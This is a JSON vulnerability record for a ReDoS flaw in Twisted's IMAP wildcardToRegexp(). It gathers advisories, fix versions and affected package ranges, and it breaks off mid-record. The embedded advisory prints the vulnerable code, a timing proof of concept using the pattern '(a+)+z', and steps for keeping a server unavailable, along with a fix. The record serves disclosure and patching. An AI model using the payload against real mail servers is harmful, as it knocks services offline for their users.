{"id":"CVE-2026-106454","aliases":["AZL-106712","BELL-CVE-2026-106454","CLSA-2026-1791526134","DEBIAN-CVE-2026-106454","EUVD-2026-93873","GHSA-8pqf-f4m5-798g","OESA-2026-4426","OESA-2026-4427","OESA-2026-4428","PYSEC-2026-4304","UBUNTU-CVE-2026-106454","USN-9000-1","openSUSE-SU-2026:12137-1"],"status":"published","title":"Twisted: IMAP wildcardToRegexp() ReDoS","description":"Twisted is an event-based framework for internet applications, supporting Python 3.6+. In 25.5.0 and earlier, wildcardToRegexp() in twisted/mail/imap4.py translates the IMAP asterisk and percent wildcards but passes all other characters from an authenticated client's LIST or LSUB pattern directly to re.compile(), allowing nested or otherwise expensive regular expression constructs to cause catastrophic backtracking when matched against mailbox names. Because Twisted uses a cooperative single-threaded reactor, the blocking match suspends all server input and output for the duration of the match. No fixed release is available as of this review.","severity":{"version":"3.1","score":4.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.00417,"percentile":0.36446,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-1333"],"published":"2026-10-06T19:55:36Z","modified":"2026-11-11T07:30:02Z","fixes":[{"ecosystem":"Azure Linux:3","package":"python-twisted","fixed_in":["22.10.0-7"],"sources":["osv"]},{"ecosystem":"Alpaquita:23","package":"py3-twisted","fixed_in":["22.10.0-r3"],"sources":["osv"]},{"ecosystem":"Alpaquita:25","package":"py3-twisted","fixed_in":["24.11.0-r2"],"sources":["osv"]},{"ecosystem":"Alpaquita:stream","package":"py3-twisted","fixed_in":["26.10.0-r0"],"sources":["osv"]},{"ecosystem":"TuxCare:PyPI","package":"twisted","fixed_in":["20.3.0.post6+tuxcare"],"sources":["osv"]},{"ecosystem":"Debian:14","package":"twisted","fixed_in":["26.4.0-5"],"sources":["osv"]},{"ecosystem":"openEuler:24.03-LTS-SP4","package":"python-twisted","fixed_in":["22.10.0-6.oe2403sp4"],"sources":["osv"]},{"ecosystem":"openEuler:24.03-LTS-SP1","package":"python-twisted","fixed_in":["22.10.0-6.oe2403sp1"],"sources":["osv"]},{"ecosystem":"openEuler:24.03-LTS-SP3","package":"python-twisted","fixed_in":["22.10.0-6.oe2403sp3"],"sources":["osv"]},{"ecosystem":"Ubuntu:22.04:LTS","package":"twisted","fixed_in":["22.1.0-2ubuntu2.8"],"sources":["osv"]},{"ecosystem":"Ubuntu:24.04:LTS","package":"twisted","fixed_in":["24.3.0-1ubuntu0.3"],"sources":["osv"]},{"ecosystem":"Ubuntu:26.10","package":"twisted","fixed_in":["26.4.0-4ubuntu0.1"],"sources":["osv"]},{"ecosystem":"Ubuntu:26.04:LTS","package":"twisted","fixed_in":["25.5.0-5ubuntu0.2"],"sources":["osv"]},{"ecosystem":"openSUSE:Tumbleweed","package":"python-Twisted","fixed_in":["26.4.0-4.1"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"twisted","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"26.4.0"}]}]},{"source":"osv","ecosystem":"Azure Linux:3","package":"python-twisted","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"22.10.0-7"}]}]},{"source":"osv","ecosystem":"Alpaquita:23","package":"py3-twisted","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"22.10.0-r1"},{"fixed":"22.10.0-r3"}]}]},{"source":"osv","ecosystem":"Alpaquita:25","package":"py3-twisted","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"24.11.0-r0"},{"fixed":"24.11.0-r2"}]}]},{"source":"osv","ecosystem":"Alpaquita:stream","package":"py3-twisted","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"22.10.0-r0"},{"fixed":"26.10.0-r0"}]}]},{"source":"osv","ecosystem":"TuxCare:PyPI","package":"twisted","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"20.3.0"},{"fixed":"20.3.0.post6+tuxcare"}]}],"versions":["20.3.0","20.3.0.post4+tuxcare","20.3.0.post5+tuxcare"]},{"source":"osv","ecosystem":"Debian:12","package":"twisted","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["22.4.0-4","22.4.0-4+deb12u1","23.10.0-1","23.10.0-2","24.10.0-1","24.10.0-2","24.11.0-1","24.3.0-1","24.3.0-2","24.3.0-3","24.7.0-1","24.7.0-2","24.7.0-3","25.5.0-1","25.5.0-2","25.5.0-3","25.5.0-4","25.5.0-5","26.4.0-1","26.4.0-2","26.4.0-3","26.4.0-4","26.4.0-5","26.4.0-6"]},{"source":"osv","ecosystem":"Debian:13","package":"twisted","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["24.11.0-1","25.5.0-1","25.5.0-2","25.5.0-3","25.5.0-4","25.5.0-5","26.4.0-1","26.4.0-2","26.4.0-3","26.4.0-4","26.4.0-5","26.4.0-6"]},{"source":"osv","ecosystem":"Debian:14","package":"twisted","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"26.4.0-5"}]}],"versions":["24.11.0-1","25.5.0-1","25.5.0-2","25.5.0-3","25.5.0-4","25.5.0-5","26.4.0-1","26.4.0-2","26.4.0-3","26.4.0-4"]},{"source":"osv","ecosystem":"PyPI","package":"twisted","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"26.4.0"}]}],"versions":["1.0.1","1.0.3","1.0.4","1.0.5","1.0.6","1.0.7","1.1.0","1.1.1","1.2.0","10.0.0","10.1.0","10.2.0","11.0.0","11.1.0","12.0.0","12.1.0","12.2.0","12.3.0","13.0.0","13.1.0","13.2.0","14.0.0","14.0.1","14.0.2","15.0.0","15.1.0","15.2.0","15.2.1","15.3.0","15.4.0","15.5.0","16.0.0","16.1.0","16.1.1","16.2.0","16.3.0","16.3.1","16.3.2","16.4.0","16.4.1","16.5.0","16.5.0rc1","16.5.0rc2","16.6.0","16.6.0rc1","16.7.0rc1","16.7.0rc2","17.1.0","17.1.0rc1","17.5.0","17.9.0","17.9.0rc1","18.4.0","18.4.0rc1","18.7.0","18.7.0rc1","18.7.0rc2","18.9.0","18.9.0rc1","19.10.0","19.10.0rc1","19.2.0","19.2.0rc1","19.2.0rc2","19.2.1","19.7.0","19.7.0rc1","2.1.0","2.4.0","2.5.0","20.3.0","20.3.0rc1","21.2.0","21.2.0rc1","21.7.0","21.7.0rc1","21.7.0rc2","21.7.0rc3","22.1.0","22.1.0rc1","22.10.0","22.10.0rc1","22.2.0","22.2.0rc1","22.4.0","22.4.0rc1","22.8.0","22.8.0rc1","23.10.0","23.10.0rc1","23.8.0","23.8.0rc1","24.10.0","24.10.0rc1","24.11.0","24.11.0rc1","24.11.0rc2","24.2.0rc1","24.3.0","24.7.0","24.7.0rc1","24.7.0rc2","25.5.0","25.5.0rc1","26.4.0","26.4.0rc2","8.0.0","8.0.1","8.1.0","8.2.0","9.0.0"]},{"source":"osv","ecosystem":"openEuler:24.03-LTS-SP4","package":"python-twisted","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"22.10.0-6.oe2403sp4"}]}]},{"source":"osv","ecosystem":"openEuler:24.03-LTS-SP1","package":"python-twisted","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"22.10.0-6.oe2403sp1"}]}]},{"source":"osv","ecosystem":"openEuler:24.03-LTS-SP3","package":"python-twisted","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"22.10.0-6.oe2403sp3"}]}]},{"source":"osv","ecosystem":"PyPI","package":"twisted","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"25.5.0"}]}],"versions":["1.0.1","1.0.3","1.0.4","1.0.5","1.0.6","1.0.7","1.1.0","1.1.1","1.2.0","10.0.0","10.1.0","10.2.0","11.0.0","11.1.0","12.0.0","12.1.0","12.2.0","12.3.0","13.0.0","13.1.0","13.2.0","14.0.0","14.0.1","14.0.2","15.0.0","15.1.0","15.2.0","15.2.1","15.3.0","15.4.0","15.5.0","16.0.0","16.1.0","16.1.1","16.2.0","16.3.0","16.3.1","16.3.2","16.4.0","16.4.1","16.5.0","16.5.0rc1","16.5.0rc2","16.6.0","16.6.0rc1","16.7.0rc1","16.7.0rc2","17.1.0","17.1.0rc1","17.5.0","17.9.0","17.9.0rc1","18.4.0","18.4.0rc1","18.7.0","18.7.0rc1","18.7.0rc2","18.9.0","18.9.0rc1","19.10.0","19.10.0rc1","19.2.0","19.2.0rc1","19.2.0rc2","19.2.1","19.7.0","19.7.0rc1","2.1.0","2.4.0","2.5.0","20.3.0","20.3.0rc1","21.2.0","21.2.0rc1","21.7.0","21.7.0rc1","21.7.0rc2","21.7.0rc3","22.1.0","22.1.0rc1","22.10.0","22.10.0rc1","22.2.0","22.2.0rc1","22.4.0","22.4.0rc1","22.8.0","22.8.0rc1","23.10.0","23.10.0rc1","23.8.0","23.8.0rc1","24.10.0","24.10.0rc1","24.11.0","24.11.0rc1","24.11.0rc2","24.2.0rc1","24.3.0","24.7.0","24.7.0rc1","24.7.0rc2","25.5.0","25.5.0rc1","8.0.0","8.0.1","8.1.0","8.2.0","9.0.0"]},{"source":"osv","ecosystem":"Ubuntu:Pro:14.04:LTS","package":"twisted","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["13.0.0-1ubuntu1","13.2.0-1ubuntu1","13.2.0-1ubuntu1.2","13.2.0-1ubuntu1.2+esm1","13.2.0-1ubuntu1.2+esm2","13.2.0-1ubuntu1.2+esm3"]},{"source":"osv","ecosystem":"Ubuntu:Pro:16.04:LTS","package":"twisted","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["15.2.1-1ubuntu2","15.5.0-1","15.5.0-2","15.5.0-2ubuntu1","15.5.0-4","16.0.0~pre1-1","16.0.0~pre1-1ubuntu1","16.0.0~pre1-2ubuntu1","16.0.0~pre1-3","16.0.0-1","16.0.0-1ubuntu0.2","16.0.0-1ubuntu0.4","16.0.0-1ubuntu0.4+esm1","16.0.0-1ubuntu0.4+esm2"]},{"source":"osv","ecosystem":"Ubuntu:Pro:18.04:LTS","package":"twisted","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["16.6.0-2ubuntu3","17.9.0-1","17.9.0-2","17.9.0-2ubuntu0.1","17.9.0-2ubuntu0.3","17.9.0-2ubuntu0.3+esm1","17.9.0-2ubuntu0.3+esm2"]},{"source":"osv","ecosystem":"Ubuntu:20.04:LTS","package":"twisted","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["18.9.0-3ubuntu1","18.9.0-5","18.9.0-6","18.9.0-6build1","18.9.0-6ubuntu1","18.9.0-8","18.9.0-11","18.9.0-11ubuntu0.20.04.1","18.9.0-11ubuntu0.20.04.2","18.9.0-11ubuntu0.20.04.3","18.9.0-11ubuntu0.20.04.4","18.9.0-11ubuntu0.20.04.5"]},{"source":"osv","ecosystem":"Ubuntu:22.04:LTS","package":"twisted","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"22.1.0-2ubuntu2.8"}]}],"versions":["20.3.0-7ubuntu1","20.3.0-7ubuntu3","22.1.0-2ubuntu2","22.1.0-2ubuntu2.1","22.1.0-2ubuntu2.3","22.1.0-2ubuntu2.4","22.1.0-2ubuntu2.5","22.1.0-2ubuntu2.6","22.1.0-2ubuntu2.7"]},{"source":"osv","ecosystem":"Ubuntu:24.04:LTS","package":"twisted","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"24.3.0-1ubuntu0.3"}]}],"versions":["22.4.0-4","22.4.0-4ubuntu1","23.10.0-2","24.3.0-1","24.3.0-1ubuntu0.1","24.3.0-1ubuntu0.2"]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"twisted","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"26.4.0-4ubuntu0.1"}]}],"versions":["25.5.0-5","26.4.0-4"]},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"twisted","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"25.5.0-5ubuntu0.2"}]}],"versions":["24.11.0-1","25.5.0-4","25.5.0-5","25.5.0-5ubuntu0.1"]},{"source":"osv","ecosystem":"Ubuntu:22.04:LTS","package":"twisted","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"22.1.0-2ubuntu2.8"}]}],"versions":["20.3.0-7ubuntu1","20.3.0-7ubuntu3","22.1.0-2ubuntu2","22.1.0-2ubuntu2.1","22.1.0-2ubuntu2.3","22.1.0-2ubuntu2.4","22.1.0-2ubuntu2.5","22.1.0-2ubuntu2.6","22.1.0-2ubuntu2.7"]},{"source":"osv","ecosystem":"Ubuntu:24.04:LTS","package":"twisted","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"24.3.0-1ubuntu0.3"}]}],"versions":["22.4.0-4","22.4.0-4ubuntu1","23.10.0-2","24.3.0-1","24.3.0-1ubuntu0.1","24.3.0-1ubuntu0.2"]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"twisted","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"26.4.0-4ubuntu0.1"}]}],"versions":["25.5.0-5","26.4.0-4"]},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"twisted","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"25.5.0-5ubuntu0.2"}]}],"versions":["24.11.0-1","25.5.0-4","25.5.0-5","25.5.0-5ubuntu0.1"]},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"python-Twisted","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"26.4.0-4.1"}]}]}],"products":[{"vendor":"twisted","product":"twisted"}],"references":[{"url":"https://github.com/twisted/twisted/security/advisories/GHSA-8pqf-f4m5-798g","tags":["x_refsource_CONFIRM","exploit","advisory","web","report"]},{"url":"https://github.com/twisted/twisted/pull/12788","tags":["x_refsource_MISC","fix","web","report"]},{"url":"https://github.com/twisted/twisted/commit/2f8a3c29246f4eb324690e06a9767a11dc4aec9f","tags":["x_refsource_MISC","fix","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-106454","tags":["web","advisory"]},{"url":"https://github.com/advisories/GHSA-8pqf-f4m5-798g","tags":["advisory"]},{"url":"https://docs.bell-sw.com/security/cves/CVE-2026-106454","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/106xxx/CVE-2026-106454.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-106454","tags":["advisory"]},{"url":"https://github.com/twisted/twisted","tags":["package"]},{"url":"https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2026-4426","tags":["advisory"]},{"url":"https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2026-4427","tags":["advisory"]},{"url":"https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2026-4428","tags":["advisory"]},{"url":"https://pypi.org/project/twisted","tags":["package"]},{"url":"https://ubuntu.com/security/CVE-2026-106454","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-106454","tags":["report"]},{"url":"https://ubuntu.com/security/notices/USN-9000-1","tags":["advisory"]},{"url":"","tags":["advisory"]},{"url":"https://www.suse.com/security/cve/CVE-2026-106454","tags":["web"]}],"sources":{"cve":[{"id":"CVE-2026-106454","title":"Twisted: IMAP wildcardToRegexp() ReDoS","description":"Twisted is an event-based framework for internet applications, supporting Python 3.6+. In 25.5.0 and earlier, wildcardToRegexp() in twisted/mail/imap4.py translates the IMAP asterisk and percent wildcards but passes all other characters from an authenticated client's LIST or LSUB pattern directly to re.compile(), allowing nested or otherwise expensive regular expression constructs to cause catastrophic backtracking when matched against mailbox names. Because Twisted uses a cooperative single-threaded reactor, the blocking match suspends all server input and output for the duration of the match. No fixed release is available as of this review.","status":"published","published":"2026-10-06T19:55:36.523Z","modified":"2026-10-07T16:26:14.095Z","cvss":[{"version":"3.1","score":4.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L","level":"medium","assessor":"cna"}],"cwes":["CWE-1333"],"updated_at":"2026-11-02T14:20:04.156238Z"}],"euvd":[{"id":"EUVD-2026-93873","description":"Twisted is an event-based framework for internet applications, supporting Python 3.6+. In 25.5.0 and earlier, wildcardToRegexp() in twisted/mail/imap4.py translates the IMAP asterisk and percent wildcards but passes all other characters from an authenticated client's LIST or LSUB pattern directly to re.compile(), allowing nested or otherwise expensive regular expression constructs to cause catastrophic backtracking when matched against mailbox names. Because Twisted uses a cooperative single-threaded reactor, the blocking match suspends all server input and output for the duration of the match. No fixed release is available as of this review.","status":"published","published":"2026-10-06T19:55:36Z","modified":"2026-10-07T16:26:14Z","cvss":[{"version":"3.1","score":4.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L","level":"medium"}],"updated_at":"2026-11-02T17:27:35.164729Z"}],"ghsa":[{"id":"GHSA-8pqf-f4m5-798g","title":"Twisted: IMAP wildcardToRegexp() ReDoS","description":"### Summary\n`wildcardToRegexp()` in `twisted/mail/imap4.py` converts IMAP LIST/LSUB wildcard patterns to Python regular expressions.  It substitutes the two IMAP wildcards (`*` → `(?:.*?)` and `%` → `(?:(?:[^\\\\/])*?)`) but passes every other character through unchanged to `re.compile()`.  This means that an authenticated IMAP client can send a quoted pattern string containing arbitrary regex syntax - including catastrophic-backtracking constructs such as `(a+)+z`.\n\nBecause Twisted runs a cooperative, single-threaded reactor, a blocking regex match freezes **all** I/O on the server for the duration of the match.\n\n---\n\n## Vulnerable Code\n\n### `twisted/mail/imap4.py`\n\n```python\n# line 4595\ndef wildcardToRegexp(wildcard, delim=None):\n    wildcard = wildcard.replace(\"*\", \"(?:.*?)\")\n    if delim is None:\n        wildcard = wildcard.replace(\"%\", \"(?:.*?)\")\n    else:\n        wildcard = wildcard.replace(\"%\", \"(?:(?:[^%s])*?)\" % re.escape(delim))\n    return re.compile(wildcard, re.I)   # ← user input compiled verbatim\n```\n\n```python\n# line 4993\nclass MemoryAccountWithoutNamespaces:\n    def listMailboxes(self, ref, wildcard):\n        ref = self._inferiorNames(_parseMbox(ref.upper()))\n        wildcard = wildcardToRegexp(wildcard, \"/\")   # ← user-supplied wildcard\n        return [(i, self.mailboxes[i]) for i in ref if wildcard.match(i)]\n```\n---\n\n### Proof of Concept\n\n```python\nfrom twisted.mail.imap4 import wildcardToRegexp\nimport time\n\nrx = wildcardToRegexp(\"(a+)+z\", \"/\")\nfor n in [20, 22, 24, 26, 28]:\n    victim = \"a\" * n\n    t0 = time.perf_counter()\n    rx.match(victim)\n    print(f\"n={n}: {time.perf_counter() - t0:.3f}s\")\n```\n\n**Output on Twisted 25.5.0:**\n\n```\n[*] Compiled regex: '(a+)+z'\n[*] Note: metacharacters ( ) + ? are NOT escaped - they go straight to re.compile()\n\n    n        time\n  ---  ----------\n   20       0.153s\n   22       0.651s\n   24       2.941s\n   26      14.545s\n   28      55.019s\n```\n\nTiming doubles roughly every two characters (exponential growth), confirming catastrophic backtracking.\n\n---\n\n## Impact\n\nTwisted's reactor is single-threaded and cooperative.  A blocking `re.match()` call suspends the entire event loop - no other connection can be accepted, read, or written while the match runs.  A single authenticated LIST command with a 28-character target mailbox name can stall the server for ~55 seconds.\n\nAn attacker who can register an account (or obtain credentials through other means) can:\n\n1. `CREATE` a mailbox whose name is an exponential-blowup trigger string.\n2. Issue `LIST \"\" \"(a+)+z\"` (or equivalent ReDoS pattern).\n3. Repeat at ~1-minute intervals to keep the server permanently unavailable.\n\nNo exploit code or special privileges beyond an IMAP login are required.\n\n---\n\n## Fix\n\nEscape non-wildcard characters before compiling:\n\n```python\ndef wildcardToRegexp(wildcard, delim=None):\n    # Split on the two IMAP wildcards, escape everything else\n    parts = re.split(r'([*%])', wildcard)\n    result = []\n    for p in parts:\n        if p == '*':\n            result.append('(?:.*?)')\n        elif p == '%':\n            if delim is None:\n                result.append('(?:.*?)')\n            else:\n                result.append('(?:(?:[^%s])*?)' % re.escape(delim))\n        else:\n            result.append(re.escape(p))   # ← escape all other characters\n    return re.compile(''.join(result), re.I)\n```\n\nAlternatively, apply `re.escape()` to the entire wildcard first, then substitute the (now-escaped) `\\*` and `\\%` tokens back with their regex equivalents.","status":"published","published":"2026-10-07T16:18:30Z","modified":"2026-10-15T14:02:10Z","cvss":[{"version":"3.1","score":4.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L","level":"medium"}],"cwes":["CWE-1333"],"updated_at":"2026-11-02T14:41:31.175024Z"}],"nvd":[{"id":"CVE-2026-106454","description":"Twisted is an event-based framework for internet applications, supporting Python 3.6+. In 25.5.0 and earlier, wildcardToRegexp() in twisted/mail/imap4.py translates the IMAP asterisk and percent wildcards but passes all other characters from an authenticated client's LIST or LSUB pattern directly to re.compile(), allowing nested or otherwise expensive regular expression constructs to cause catastrophic backtracking when matched against mailbox names. Because Twisted uses a cooperative single-threaded reactor, the blocking match suspends all server input and output for the duration of the match. No fixed release is available as of this review.","status":"published","published":"2026-10-06T20:17:27.597Z","modified":"2026-10-07T17:16:48.133Z","cvss":[{"version":"3.1","score":4.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L","level":"medium","assessor":"secondary"}],"cwes":["CWE-1333"],"updated_at":"2026-11-02T14:12:54.809359Z"}],"osv":[{"id":"BELL-CVE-2026-106454","status":"published","published":"2026-10-09T06:09:23.754807Z","modified":"2026-11-11T07:30:02.457421747Z","cvss":[{"version":"3.1","score":4.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L","level":"medium"}],"updated_at":"2026-11-11T07:56:35.017539Z"},{"id":"CVE-2026-106454","title":"Twisted: IMAP wildcardToRegexp() ReDoS","description":"Twisted is an event-based framework for internet applications, supporting Python 3.6+. In 25.5.0 and earlier, wildcardToRegexp() in twisted/mail/imap4.py translates the IMAP asterisk and percent wildcards but passes all other characters from an authenticated client's LIST or LSUB pattern directly to re.compile(), allowing nested or otherwise expensive regular expression constructs to cause catastrophic backtracking when matched against mailbox names. Because Twisted uses a cooperative single-threaded reactor, the blocking match suspends all server input and output for the duration of the match. No fixed release is available as of this review.","status":"published","published":"2026-10-06T19:55:36.523Z","modified":"2026-10-28T02:30:22.461115519Z","cvss":[{"version":"3.1","score":4.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L","level":"medium"}],"cwes":["CWE-1333"],"updated_at":"2026-11-02T15:44:54.583213Z"},{"id":"DEBIAN-CVE-2026-106454","description":"Twisted is an event-based framework for internet applications, supporting Python 3.6+. In 25.5.0 and earlier, wildcardToRegexp() in twisted/mail/imap4.py translates the IMAP asterisk and percent wildcards but passes all other characters from an authenticated client's LIST or LSUB pattern directly to re.compile(), allowing nested or otherwise expensive regular expression constructs to cause catastrophic backtracking when matched against mailbox names. Because Twisted uses a cooperative single-threaded reactor, the blocking match suspends all server input and output for the duration of the match. No fixed release is available as of this review.","status":"published","published":"2026-10-06T20:17:27.597Z","modified":"2026-10-20T04:00:06.286332612Z","cvss":[{"version":"3.1","score":4.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L","level":"medium"}],"updated_at":"2026-11-02T15:45:49.381767Z"},{"id":"GHSA-8pqf-f4m5-798g","title":"Twisted: IMAP wildcardToRegexp() ReDoS","description":"### Summary\n`wildcardToRegexp()` in `twisted/mail/imap4.py` converts IMAP LIST/LSUB wildcard patterns to Python regular expressions.  It substitutes the two IMAP wildcards (`*` → `(?:.*?)` and `%` → `(?:(?:[^\\\\/])*?)`) but passes every other character through unchanged to `re.compile()`.  This means that an authenticated IMAP client can send a quoted pattern string containing arbitrary regex syntax - including catastrophic-backtracking constructs such as `(a+)+z`.\n\nBecause Twisted runs a cooperative, single-threaded reactor, a blocking regex match freezes **all** I/O on the server for the duration of the match.\n\n---\n\n## Vulnerable Code\n\n### `twisted/mail/imap4.py`\n\n```python\n# line 4595\ndef wildcardToRegexp(wildcard, delim=None):\n    wildcard = wildcard.replace(\"*\", \"(?:.*?)\")\n    if delim is None:\n        wildcard = wildcard.replace(\"%\", \"(?:.*?)\")\n    else:\n        wildcard = wildcard.replace(\"%\", \"(?:(?:[^%s])*?)\" % re.escape(delim))\n    return re.compile(wildcard, re.I)   # ← user input compiled verbatim\n```\n\n```python\n# line 4993\nclass MemoryAccountWithoutNamespaces:\n    def listMailboxes(self, ref, wildcard):\n        ref = self._inferiorNames(_parseMbox(ref.upper()))\n        wildcard = wildcardToRegexp(wildcard, \"/\")   # ← user-supplied wildcard\n        return [(i, self.mailboxes[i]) for i in ref if wildcard.match(i)]\n```\n---\n\n### Proof of Concept\n\n```python\nfrom twisted.mail.imap4 import wildcardToRegexp\nimport time\n\nrx = wildcardToRegexp(\"(a+)+z\", \"/\")\nfor n in [20, 22, 24, 26, 28]:\n    victim = \"a\" * n\n    t0 = time.perf_counter()\n    rx.match(victim)\n    print(f\"n={n}: {time.perf_counter() - t0:.3f}s\")\n```\n\n**Output on Twisted 25.5.0:**\n\n```\n[*] Compiled regex: '(a+)+z'\n[*] Note: metacharacters ( ) + ? are NOT escaped - they go straight to re.compile()\n\n    n        time\n  ---  ----------\n   20       0.153s\n   22       0.651s\n   24       2.941s\n   26      14.545s\n   28      55.019s\n```\n\nTiming doubles roughly every two characters (exponential growth), confirming catastrophic backtracking.\n\n---\n\n## Impact\n\nTwisted's reactor is single-threaded and cooperative.  A blocking `re.match()` call suspends the entire event loop - no other connection can be accepted, read, or written while the match runs.  A single authenticated LIST command with a 28-character target mailbox name can stall the server for ~55 seconds.\n\nAn attacker who can register an account (or obtain credentials through other means) can:\n\n1. `CREATE` a mailbox whose name is an exponential-blowup trigger string.\n2. Issue `LIST \"\" \"(a+)+z\"` (or equivalent ReDoS pattern).\n3. Repeat at ~1-minute intervals to keep the server permanently unavailable.\n\nNo exploit code or special privileges beyond an IMAP login are required.\n\n---\n\n## Fix\n\nEscape non-wildcard characters before compiling:\n\n```python\ndef wildcardToRegexp(wildcard, delim=None):\n    # Split on the two IMAP wildcards, escape everything else\n    parts = re.split(r'([*%])', wildcard)\n    result = []\n    for p in parts:\n        if p == '*':\n            result.append('(?:.*?)')\n        elif p == '%':\n            if delim is None:\n                result.append('(?:.*?)')\n            else:\n                result.append('(?:(?:[^%s])*?)' % re.escape(delim))\n        else:\n            result.append(re.escape(p))   # ← escape all other characters\n    return re.compile(''.join(result), re.I)\n```\n\nAlternatively, apply `re.escape()` to the entire wildcard first, then substitute the (now-escaped) `\\*` and `\\%` tokens back with their regex equivalents.","status":"published","published":"2026-10-07T16:18:30Z","modified":"2026-10-15T14:56:15.526407507Z","cvss":[{"version":"3.1","score":4.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L","level":"medium"}],"cwes":["CWE-1333"],"updated_at":"2026-11-02T15:46:42.78452Z"},{"id":"OESA-2026-4426","title":"python-twisted security update","description":"Twisted is an event-based framework for internet applications, supporting Python 2.7 and Python 3.5+. It includes modules for many different purposes, including the following:\r\n\r\nSecurity Fix(es):\n\nTwisted is an event-based framework for internet applications, supporting Python 3.6+. In 25.5.0 and earlier, wildcardToRegexp() in twisted/mail/imap4.py translates the IMAP asterisk and percent wildcards but passes all other characters from an authenticated client\u0026apos;s LIST or LSUB pattern directly to re.compile(), allowing nested or otherwise expensive regular expression constructs to cause catastrophic backtracking when matched against mailbox names. Because Twisted uses a cooperative single-threaded reactor, the blocking match suspends all server input and output for the duration of the match. No fixed release is available as of this review.(CVE-2026-106454)","status":"published","published":"2026-10-22T14:35:00Z","modified":"2026-10-22T14:45:05.420019348Z","cvss":[{"version":"3.1","score":4.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L","level":"medium"}],"updated_at":"2026-11-02T15:52:47.981622Z"},{"id":"OESA-2026-4427","title":"python-twisted security update","description":"Twisted is an event-based framework for internet applications, supporting Python 2.7 and Python 3.5+. It includes modules for many different purposes, including the following:\r\n\r\nSecurity Fix(es):\n\nTwisted is an event-based framework for internet applications, supporting Python 3.6+. In 25.5.0 and earlier, wildcardToRegexp() in twisted/mail/imap4.py translates the IMAP asterisk and percent wildcards but passes all other characters from an authenticated client\u0026apos;s LIST or LSUB pattern directly to re.compile(), allowing nested or otherwise expensive regular expression constructs to cause catastrophic backtracking when matched against mailbox names. Because Twisted uses a cooperative single-threaded reactor, the blocking match suspends all server input and output for the duration of the match. No fixed release is available as of this review.(CVE-2026-106454)","status":"published","published":"2026-10-22T14:35:01Z","modified":"2026-10-22T14:45:05.992857804Z","cvss":[{"version":"3.1","score":4.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L","level":"medium"}],"updated_at":"2026-11-02T15:52:47.981622Z"},{"id":"OESA-2026-4428","title":"python-twisted security update","description":"Twisted is an event-based framework for internet applications, supporting Python 2.7 and Python 3.5+. It includes modules for many different purposes, including the following:\r\n\r\nSecurity Fix(es):\n\nTwisted is an event-based framework for internet applications, supporting Python 3.6+. In 25.5.0 and earlier, wildcardToRegexp() in 